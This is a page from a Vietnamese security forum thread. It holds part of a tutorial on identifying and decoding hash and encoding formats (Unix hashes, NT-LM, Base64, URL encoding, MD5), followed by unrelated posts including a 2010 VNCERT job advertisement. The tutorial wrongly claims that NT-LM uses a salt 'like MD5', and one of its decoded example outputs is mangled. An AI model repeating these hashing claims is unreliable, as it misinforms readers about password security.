Ví dụ trong Unix hash nó sẽ như sau: $uid:$salt:$password.

III. NT-LM
Sử dụng 32 ký tự và được sử dụng để mã hóa mật khẩu trong Windows. Và cũng giống như MD5, nó sử dụng salt để tăng tính an toàn. Trong Windows nó sử dụng như sau:
username:random:LM:NT::::

IV. Các bước nhận biết và giải mã


Ban đầu ta sẽ có tập ký tự nếu như mà thực hiện giải mã ngay có thể vấp một số trường hợp mà người lập trình có thể sử dụng nhiều kỹ thuật kết hợp, do vậy dẫn đến tốn thời gian trong việc giải mã mà không có kết quả gì. Do vậy sau khi ta có tập ký tự thì phải quan sát và phân tích nó trước, quy trình thì giống như hình trên.
Ví dụ nếu bắt gặp trong chuỗi nhận được có ký tự & hoặc = thì có thể phỏng đoán nó là HTML hoặc Base64.

Ví dụ 1 Bắt gặp một chuỗi như sau: JTNDcGFzc3dvcmQlM0QlMjJUJTNBaGFraW45JTNBVCUyMiUzRQ==. Ta nhận thấy có dấu = có thể phỏng đoán nó dùng Base64. Do vậy ta dùng Base64decode và kết quả ta nhận được là %3Cpassword%3D%22T%3Ahakin9%3AT%22%3E, chúng ta lại thấy chưa phải là kết quả cuối cùng nhận được, quan sát tiếp ta lại thấy %num, có thể đây là URL char code và chúng ta decode tiếp một lần nữa:!password="T:hakin9:?, nhìn chuỗi bây giờ có thể xác định là chuỗi đích cần tìm.

Ví dụ 2: Bắt gặp một chuỗi như sau
YWM2MThiODhmNmNkODA4ZDk1ZmEzN2NiYTA2YWU1ZTA%3D, ta có quan sát chỉ thấy %3D là có thể encode bởi URL char code nên ta đổi ngay %3D--> = và ta có chuỗi mới YWM2MThiODhmNmNkODA4ZDk1ZmEzN2NiYTA2YWU1ZTA=. Có chuỗi mới ta lại phỏng đoán tiếp là có dấu =, khả năng này là Base64Encode, ta decode Base64 ta được như sau ac618b88f6cd808d95fa37cba06ae5e0 là một dang full hexa có chiều dài là 32, Do vậy nó là MD5

Toàn bộ tất cả quá trình trên có thể sử dụng công cụ Hackvertor ( http://hackvertor.co.uk/public) Nó sẽ có một số bước phân tích nhất định.
Chúc mừng các Mod mới ! Hy vọng sẽ đóng góp nhiều cho HVA !
Trung tâm Ứng cứu khẩn cấp Máy tính Việt nam (VNCERT) là đơn vị điều phối các hoạt động ứng cứu sự cố máy tính trong toàn quốc trực thuộc Bộ Thông tin và Truyền thông. Chức năng nhiệm vụ xem tại website www.vncert.gov.vn. Trung tâm cần tuyển cán bộ làm việc tại Thành phố Hà Nội, Thành phố Đà Nẵng và Thành phố Hồ Chí Minh như sau:

I/ Chỉ tiêu tuyển: 20 nhân sự làm việc tại Trung tâm Ứng cứu khẩn cấp máy tính Việt Nam vào các vị trí:
- 14 nhân sự cho vị trí: Cán bộ kỹ thuật, nghiên cứu, triển khai ứng cứu sự cố máy tính, đào tạo, tư vấn về an toàn mạng (Mã số 01).
+ Tại TP. Hà Nội : 09 nhân sự;
+ Tại TP. Hồ Chí Minh : 03 nhân sự;
+ Tại TP. Đà Nẵng : 02 nhân sự.
- 03 nhân sự cho vị trí: Kế toán (Mã số 02).
+ Tại TP. Hà Nội : 02 nhân sự;
+ Tại TP. Đà Nẵng : 01 nhân sự.
- 03 nhân sự cho vị trí: Hành chính Tổng hợp (Mã số 03) tại TP. Hà Nội gồm: Văn thư; quản lý hành chính tổng hợp; tổ chức Nhân sự, lao động tiền lương, Bảo hiểm xã hội.

II/ Điều kiện dự tuyển:
1. Điều kiện chung:
- Là công dân Việt Nam, có địa chỉ thường trú tại Việt Nam, có khả năng: nghiên cứu phân tích và tổng hợp vấn đề, làm việc độc lập hoặc theo nhóm, kỹ năng diễn đạt, kỹ thuật chuyên môn.
- Có đơn dự tuyển, có lý lịch rõ ràng, có các văn bằng.
- Tiếng Anh trình độ B trở lên.
- Có đủ sức khỏe để đảm nhận nhiệm vụ.
- Không trong thời gian bị truy cứu trách nhiệm hình sự, chấp hành án phạt tù, cải tạo không giam giữ, quản chế, đang bị áp dụng biện pháp giáo dục tại Xã, Phường, Thị trấn hoặc đưa vào cơ sở chữa bệnh, cơ sở giáo dục.
2. Điều kiện cụ thể cho các vị trí:
- Đối với mã số 01: Yêu cầu tốt nghiệp đại học từ loại Trung bình Khá trở lên hoặc có trình độ trên đại học chuyên ngành công nghệ thông tin và điện tử viễn thông;
- Đối với mã số 02: Yêu cầu tốt nghiệp đại học, chuyên ngành tài chính/kế toán;
- Đối với mã số 03: Yêu cầu tốt nghiệp đại học, chuyên ngành kinh tế; lao động; luật; hành chính; ngân hàng; ngoại ngữ có kiến thức cơ bản về lĩnh vực hành chính, lao động tiền lương, bảo hiểm; có kinh nghiệm làm công tác tổng hợp; cẩn thận, chu đáo, có trách nhiệm cao trong công việc, thành thạo tin học văn phòng và khai thác tốt Internet.

III/ Ưu tiên trong dự tuyển:
1. Những người có học vị tiến sỹ, thạc sỹ, những người tốt nghiệp loại giỏi, loại xuất sắc ở các bậc đào tạo chuyên môn phù hợp với nhu cầu tuyển dụng.
2. Những người tốt nghiệp trường Đại học Bách Khoa, Đại học Quốc gia, Học viện Kỹ thuật mật mã, Học viện Công nghệ Bưu chính viễn thông, Học viện Hành chính Quốc gia, Đại học Luật, Kinh tế quốc dân, Học viện Ngân hàng có kinh nghiệm công tác trong lĩnh vực yêu cầu cụ thể hay quá trình làm việc, nghiên cứu, thực tập khoa học kỹ thuật về an toàn mạng tại các cơ quan, tổ chức chuyên môn uy tín từ 01 năm trở lên.
3. Bản thân là Anh hùng lực lượng vũ trang, Anh hùng lao động, Thương binh, con liệt sĩ, con thương binh, con bệnh binh được đào tạo đúng chuyên ngành.

IV/ Hồ sơ dự tuyển:
Toàn bộ hồ sơ (được bỏ vào bì hồ sơ có ghi tên, địa chỉ, số điện thoại liên hệ, danh mục tài liệu bên trong), bao gồm:
1. Đơn đăng ký dự tuyển viên chức theo mẫu quy định trong Thông tư số số 04/2007/TT-BNV ngày 21 tháng 6 năm 2007 của Bộ Nội vụ.
2. Sơ yếu lý lịch, có dán ảnh cỡ 4x6, có xác nhận của Ủy ban nhân dân Xã, Phường, Thị trấn nơi người dự thi cư trú hoặc của cơ quan, tổ chức người đó đang công tác, học tập (thời gian xác nhận tính đến ngày nộp hồ sơ không quá 06 tháng);
3. Bản sao các văn bằng, chứng chỉ, bảng điểm đại học, giấy chứng nhận thuộc diện ưu tiên của cơ quan có thẩm quyền (nếu có);
4. Bản sao Giấy khai sinh;
5. Giấy khám sức khỏe do cơ quan y tế Quận, Huyện trở lên cấp (trong thời gian không quá 06 tháng tính đến thời điểm nộp hồ sơ);
6. Bản sao chứng minh thư nhân dân;
7. 02 ảnh cỡ 4x6 và 03 phong bì thư có dán tem, ghi rõ họ tên, địa chỉ người nhận.

V/ Hình thức tổ chức tuyển dụng:
Tổ chức tuyển dụng bằng hai hình thức: thi tuyển và xét tuyển.
1. Tuyển dụng bằng hình thức thi tuyển:
a. Đối tượng: Mã số 01.
b. Môn thi:Nghiệp vụ chuyên ngành Công nghệ thông tin, Quản lý hành chính Nhà nước, Ngoại ngữ.
2. Tuyển dụng bằng hình thức xét tuyển:
a. Đối tượng: Mã số 02; mã số 03.
b. Phương thức xét tuyển: Xem xét khả năng ứng viên đáp ứng yêu cầu của vị trí tuyển dụng dựa trên nghiên cứu hồ sơ và phỏng vấn trực tiếp.

VII/ Kế hoạch tuyển dụng:
1. Thời gian và địa điểm nhận hồ sơ dự tuyển (nhận hồ sơ trực tiếp (trừ ngày lễ và thứ 7, CN) hoặc qua đường bưu điện):
Thời gian: Từ ngày 22/09/2010 đến ngày 22/10/2010.
Địa điểm: A12 Lô 11 Khu Đô thị Mới Định Công – Hoàng Mai – Hà Nội.
Chỉ tiếp nhận các hồ sơ đã có đầy đủ các giấy tờ theo qui định.
Không trả lại hồ sơ khi người dự tuyển không được tuyển dụng.
2. Thông báo thời gian, địa điểm và nội qui tuyển dụng: Thông báo kế hoạch tổ chức và kết quả thi tuyển, xét tuyển được công bố tại Trụ sở Trung tâm VNCERT tại A12 Lô 11 Khu Đô thị Mới Định Công, quận Hoàng Mai, TP. Hà Nội; Trung tâm VNCERT Chi nhánh miền Trung tại phòng 5.10 tầng 5 số 76-78 Bạch Đằng, Quận Hải Châu,TP. Đà Nẵng; Trung tâm VNCERT Chi nhánh miền Nam tại 27 Nguyễn Bỉnh Khiêm, Quận 1, TP. Hồ Chí Minh và được gửi trực tiếp đến các ứng viên đạt yêu cầu về hồ sơ dự tuyển.

Thông tin chi tiết đăng tại
http://mic.gov.vn/tttd/Trang/Trungt%C3%A2m%E1%BB%A8ngc%E1%BB%A9ukh%E1%BA%A9nc%E1%BA%A5pM%C3%A1yt%C3%ADnhVi%E1%BB%87tnam%28VNCERT%29.aspx
good job man !
 
Go to Page:  First Page Page 1 3 4 5 Page 6 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|